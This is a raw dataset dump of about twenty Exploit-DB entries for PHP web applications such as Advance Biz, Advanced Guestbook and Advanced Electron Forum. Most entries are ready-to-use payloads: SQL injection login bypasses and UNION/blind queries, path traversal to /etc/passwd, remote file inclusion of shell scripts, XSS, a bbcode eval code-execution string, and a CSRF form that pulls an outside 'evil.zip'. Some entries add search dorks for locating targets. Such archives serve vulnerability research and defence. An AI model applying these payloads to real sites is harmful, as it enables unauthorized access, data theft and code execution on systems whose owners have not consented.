deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10567
Description: Advance Biz Limited 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-12-20
Author: PaL-D3v1L

Exploit:
================================================== ============================

By : PaL-D3v1L

================================================== ============================

[»] Advance Biz Limited <= 1.0 ( Auth Bypass ) SQL injection Vulnerability

================================================== ============================

[»] Founder: [ PaL-D3v1L ]
[»] Gr44tz to: [ ReD-D3v1L ¡ Evil-Cod3r ¡ Sas-TerrOisT ¡ Shadow-DeviL ¡ Cyber-Err0r ¡ cold-z3ro ]
[»] Dork: [ n/a ]
[»]E-mail :security.code@hotmail.com
################################################## #########################

==[ SQL injection ]==

Write This Code : 'or 1=1/* <======= Now Control Bypassed


==[ Live Demo ]==

http://server/advance-biz/demo/login.php


################################################## #########################
Exploit-DB #46457
Description: Advance Gift Shop Pro Script 2.0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2019-02-25
Author: Mr Winst0n

Exploit:
# Exploit Title: Advance Gift Shop Pro Script 2.0.3 - SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 21, 2019
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link : https://www.phpscriptsmall.com/product/gifts-shop/
# Tested Version: 2.0.3
# Tested on: Kali linux, Windows 8.1 


# PoC:

# http://localhost/[PATH]/?category=&s=[SQL]&search_posttype=product
# http://localhost/[PATH]/?category=&s=1%20and%20extractvalue(rand(),concat(0x7e,version()))&search_posttype=product
Exploit-DB #43943
Description: Advance Loan Management System - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-02
Author: 8bitsec

Exploit:
# Exploit Title: Advance Loan Management System - 'id' SQL Injection
# Date: 2018-01-31
# Exploit Author: 8bitsec
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/advance-loan-management-system-with-savings-system-and-sms-notification/21283070
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.13.3]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2018-01-31

Product & Service Introduction:
===============================
LMS – Make your Bank Loan Management easy LMS is a Modern and Responsive Loan management system.

Technical Details & Description:
================================

SQL injection on [id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/view_pmt.php?id=9' AND 7768=7768 AND 'Vgmm'='Vgmm

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=9' AND 7768=7768 AND 'Vgmm'='Vgmm

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=9' AND EXTRACTVALUE(1999,CONCAT(0x5c,0x[PII_REDACTED],(SELECT (ELT(1999=1999,1))),0x716b6a7171)) AND 'dJCx'='dJCx

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: id=-1179' UNION ALL SELECT NULL,NULL,CONCAT(0x[PII_REDACTED],0x4c714c75756a7843774f[PII_REDACTED]597448726c6f51547a4d7a[PII_REDACTED]446b[PII_REDACTED]6470,0x716b6a7171),NULL,NULL,NULL,NULL,NULL,NULL-- FLWW

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43264
Description: Advance Online Learning Management Script 3.1 - 'subcatid' / 'popcourseid' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Advance Online Learning Management Script 3.1 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/online-learning-management-script/
# Demo: http://thavasu.com/demo/online_education/
# Version: 3.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/courselist.php?subcatid=[SQL]
# 
# -9'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39))--+-
# 
# http://server/courselist.php?subcatid=-9'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39))--+-
# 
# Parameter: subcatid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: subcatid=9' AND 7659=7659 AND 'Akrr'='Akrr
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: subcatid=9' AND SLEEP(5) AND 'DoFl'='DoFl
# 
# 2)
# http://localhost/[PATH]/courselist.php?popcourseid=[SQL]
# 
# 1'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39))--+-
# 
# http://server/courselist.php?popcourseid=1'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39))--+-
# 
# Parameter: popcourseid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: popcourseid=1' AND 9182=9182 AND 'vWmu'='vWmu
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: popcourseid=1' AND SLEEP(5) AND 'THTz'='THTz
# 
# # # # #
Exploit-DB #41512
Description: Advanced Bus Booking Script 2.04 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Advanced Bus Booking Script v2.04 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/advanced-bus-booking-script/
# Demo: http://travelbookingscript.com/demo/newbusbooking/
# Version: 2.04
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/available_seat.php?hid_Busid=[SQL]
# http://localhost/[PATH]/seatcheck.php?busid=[SQL]
# http://localhost/[PATH]/seatcheck.php?seat=[SQL]
# http://localhost/[PATH]/seatcheck.php?seat=1&busid=1&dat=[SQL]
# # # # #
Exploit-DB #49343
Description: Advanced Comment System 1.0 - 'ACS_path' Path Traversal
Type: webapps
Platform: php
Date: 2021-01-04
Author: Francisco Javier Santiago Vázquez

Exploit:
# Exploit Title: Advanced Comment System 1.0 - 'ACS_path' Path Traversal
# Date: Fri, 11 Dec 2020
# Exploit Author: Francisco Javier Santiago Vázquez aka "n0ipr0cs"
# Vendor Homepage: Advanced Comment System - ACS
# Version: v1.0
# CVE: CVE-2020-35598

http://localhost/advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00
Exploit-DB #9623
Description: Advanced Comment System 1.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-09-10
Author: Kurd-Team

Exploit:
======================================================

 Advanced comment system1.0  Remote File Inclusion Vulnerability


<<!>> Found by  :  kurdish hackers team

<<!>> C0ntact : pshela [at] YaHoo .com
                  
<<!>> Groups : Kurd-Team

<<!>> site   : www.kurdteam.org

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   ::  Advanced_comment_system_1-0

<<->> download script :: http://www.plohni.com/wb/content/php/download/Advanced_comment_system_1-0.zip

=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> Exploit ::
 
 >>> www.site/path /advanced_comment_system/index.php?ACS_path=[shell.txt?]
                                   /advanced_comment_system/admin.php?ACS_path=[shell.txt?]


=======================================================
 
=======================================================

<<->> All freinds , Zryan_kurd , RootSyS , Bravy_Boy all member kurdish hackers team

# milw0rm.com [2009-09-10]
Exploit-DB #45853
Description: Advanced Comment System 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-11-14
Author: Rafael Pedrero

Exploit:
# Exploit Title: SQL injection in Advanced comment system v1.0
# Date: 29-10-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.plohni.com
# Software Link:
http://www.plohni.com/wb/content/php/download/Advanced_comment_system_1-0.zip,
https://web.archive.org/web/[PII_REDACTED]3003/http://www.plohni.com/wb/content/php/download/Advanced_comment_system_1-0.zip
# Version: Advanced comment system v1.0
# Tested on: All
# CVE : CVE-2018-18619
# Category: webapps


1. Description

PHP page internal/advanced_comment_system/admin.php in Advanced Comment
System 1.0 is prone to an SQL injection vulnerability because it fails to
sufficiently sanitize user-supplied data before using it in an SQL query,
allowing remote attackers to execute the sqli attack via a URL in the
"page" parameter.
The product is discontinued.


2. Proof of Concept

http://x.x.x.x/internal/advanced_comment_system/admin.php?pw=admin&page=/internal/index.php%27%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(0x71717a6b71,0x[PII_REDACTED]4f77556d44746a59686f[PII_REDACTED]4268636b[PII_REDACTED]616b724d716e[PII_REDACTED],0x7171626a71),NULL--%20SkrU&del=2

3. Solution:

The product is discontinued.
Exploit-DB #31677
Description: Advanced Electron Forum 1.0.6 - 'beg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-21
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28865/info

Advanced Electron Forum (AEF) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Advanced Electron Forum (AEF) 1.0.6 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?act=members&sortby=1&order=1&beg=[XSS]
Exploit-DB #6499
Description: Advanced Electron Forum 1.0.6 - Remote Code Execution
Type: webapps
Platform: php
Date: 2008-09-20
Author: GulfTech Security

Exploit:
##########################################################
# GulfTech Security Research           September 20, 2008
##########################################################
# Vendor : Electron Inc.
# URL : http://www.anelectron.com/
# Version : AEF Forum <= 1.0.6
# Risk : Remote Code Execution
##########################################################



Description:
Advanced Electron Forum also known as AEF Forum is a full featured
online forum system written in php that allows webmasters and site
owners to host their own discussion forums within their website.
The Advanced Electron Forum software comes bundled with the popular
MKPortal package, but is also available as a free stand alone forum.
Unfortunately there are multiple remote code execution issues within
AEF that allow for an attacker to execute arbitrary php code with
privileges of the affected webserver. This is due to the improper
handling of evaluated bbcode within AEF Forum. Users should upgrade
their forums as soon as possible.



Remote Code Execution:
There is a serious security issue within AEF Forums that allows for
forum users to easily execute arbitrary php code on the affected
webserver. This issue is due to AEF Forums sending wildcard matches
to the replacement parameter of preg_replace function, within double
quotes, while the eval switch is present. Below is one of the many
examples of the security issues within the bbcode handling of AEF.

//Email Links
if($globals['bbc_email']){

    $text = preg_replace(
                array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
                        "/\[email\](.*?)\[\/email\]/ies"),
                array('check_email("$1", "$2")',
                        'check_email("$1", "$1")'), $text);

}

As we can see from the above code, a wildcard match is used to gather
the matches sent to replacement parameter for evaluation. This is bad
because an attacker can use complex variable syntax within an [email]
tag (other tags are also vulnerable) and have it executed as php code.

[email]{${phpinfo()}}[/email]

If the above bb code was posted to a vulnerable AEF Forum then the php
within the tags would be executed. In this case the php code is simply
a phpinfo() call, but of course, other attacks are possible.



Solution:
Thanks to Jim Haslip for his help with communicating this issue to
developers. Users should upgrade as soon as possible.



Credits:
James Bercegay of the GulfTech Security Research Team



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00[PII_REDACTED]8 

# milw0rm.com [2008-09-20]
Exploit-DB #39263
Description: Advanced Electron Forum 1.0.9 - Remote File Inclusion / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-01-18
Author: hyp3rlinx

Exploit:
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AEF-RFI.txt



Vendor:
=============================
www.anelectron.com/downloads/



Product:
================================
Advanced Electron Forum v1.0.9 (AEF)
Exploit patched current version.


Vulnerability Type:
============================
Remote File Inclusion / CSRF



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

In Admin control panel there is option to Import Skins and one choice is
using a web URL.

From AEF:

"Specify the URL of the theme on the net. The theme file must be a
compressed archive (zip, tgz, tbz2, tar)."

However there is no CSRF token or check made that this is a valid request
made by the currently logged in user, resulting
in arbitrary remote file imports from an attacker if the user visits or
clicks an malicious link. Victims will then be left
open to arbitrary malicious file downloads from anywhere on the net which
may be used as a platform for further attacks...



Exploit code(s):
===============

<form id="EL-DOWNLOADO" action="
http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=skin&seadact=import"
method="post">
<input type="hidden" name="folderpath" value="../" />
<input type="hidden" name="importtype" value="2" />
<input type="hidden" name="weburl" value="
http://hyp3rlinx.altervista.org/evil.zip" />
<input type="hidden" name="filepath" value="../" />
<input type="hidden" name="uploadtheme" value="" />
<input type="hidden" name="importskin" value="Import" />
<script>document.getElementById('EL-DOWNLOADO').submit()</script>
</form>



Disclosure Timeline:
======================================
Vendor Notification:  NA
January 17, 2016  : Public Disclosure



Exploitation Technique:
=======================
Remote



Severity Level:
===============
High



Description:
==================================================================


Request Method(s):         [+] POST


Vulnerable Product:        [+] Advanced Electron Forum v1.0.9 (AEF)



==================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
Exploit-DB #36539
Description: Advanced File Management 1.4 - 'users.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-09
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/51339/info

Advanced File Management is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Advanced File Management 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/users.php?page=[xss]
Exploit-DB #38693
Description: Advanced Guestbook - 'addentry.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-08-08
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/61735/info

Advanced Guestbook is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Advanced Guestbook 2.4.3 is vulnerable; other versions may also be affected. 

http://www.example.com.tw/guestbook/addentry.php
Exploit-DB #24050
Description: Advanced Guestbook 2.2 - 'Password' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-23
Author: JQ

Exploit:
source: https://www.securityfocus.com/bid/10209/info

It has been reported that Advanced Guestbook is prone to a SQL injection vulnerability that could allow an attacker to gain administrative access to the application.

This issue is reported to exist in Advanced Guestbook 2.2, however, it is possible that other versions are affected as well.

JQ <idiosyncrasie@xs4all.nl> explains that it is possible to trigger this issue by leaving the username entry blank and entering the following string in the password field:

') OR ('a' = 'a

Spy Hat <spyhat@spyhat.com> comments that it is also possible to leverage this issue by leaving the password field blank and entering the following string into the username field:

? or 1=1 --
Exploit-DB #24797
Description: Advanced Guestbook 2.2/2.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-12-02
Author: Emile van Elen

Exploit:
source: https://www.securityfocus.com/bid/11798/info

It is reported that Advanced Guestbook is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

This vulnerability is reported to exist in version 2.3.1 of Advanced Guestbook. Other versions may also be affected.

http://www.example.com/index.php?entry=<script>alert(document.cookie)</script>
Exploit-DB #28908
Description: Advanced Guestbook 2.3.1 - 'admin.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-03
Author: BrokeN-ProXy

Exploit:
source: https://www.securityfocus.com/bid/20902/info

Advanced GuestBook for phpBB is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version 2.3.1 is vulnerable.

http://www.example.com/[AGuest Path]/admin.php?include_path=Shell?cmd
Exploit-DB #25630
Description: Advanced Guestbook 2.3.1/2.4 - 'index.php?Entry' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-09
Author: Spy Hat

Exploit:
source: https://www.securityfocus.com/bid/13548/info

Advanced Guestbook is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue reportedly affects Advanced Guestbook version 2.3.1; other versions may also be vulnerable. 

http://www.example.com/guestbook/index.php?entry='
http://www.example.com/guestbook/index.php?entry=%27
Exploit-DB #1723
Description: Advanced Guestbook 2.4.0 - 'phpBB' File Inclusion
Type: webapps
Platform: php
Date: 2006-04-28
Author: [Oo]

Exploit:
Title: Advanced GuestBook for phpBB <= 2.4.0 Remote File Inclusion
Dork: inurl:guestbook.php "Advanced GuestBook" "powered by phpbb"
Credits: [Oo]

Exploit: http://[url]/[phpbb_path]/admin/addentry.php?phpbb_root_path=http://[badscript]?

# milw0rm.com [2006-04-28]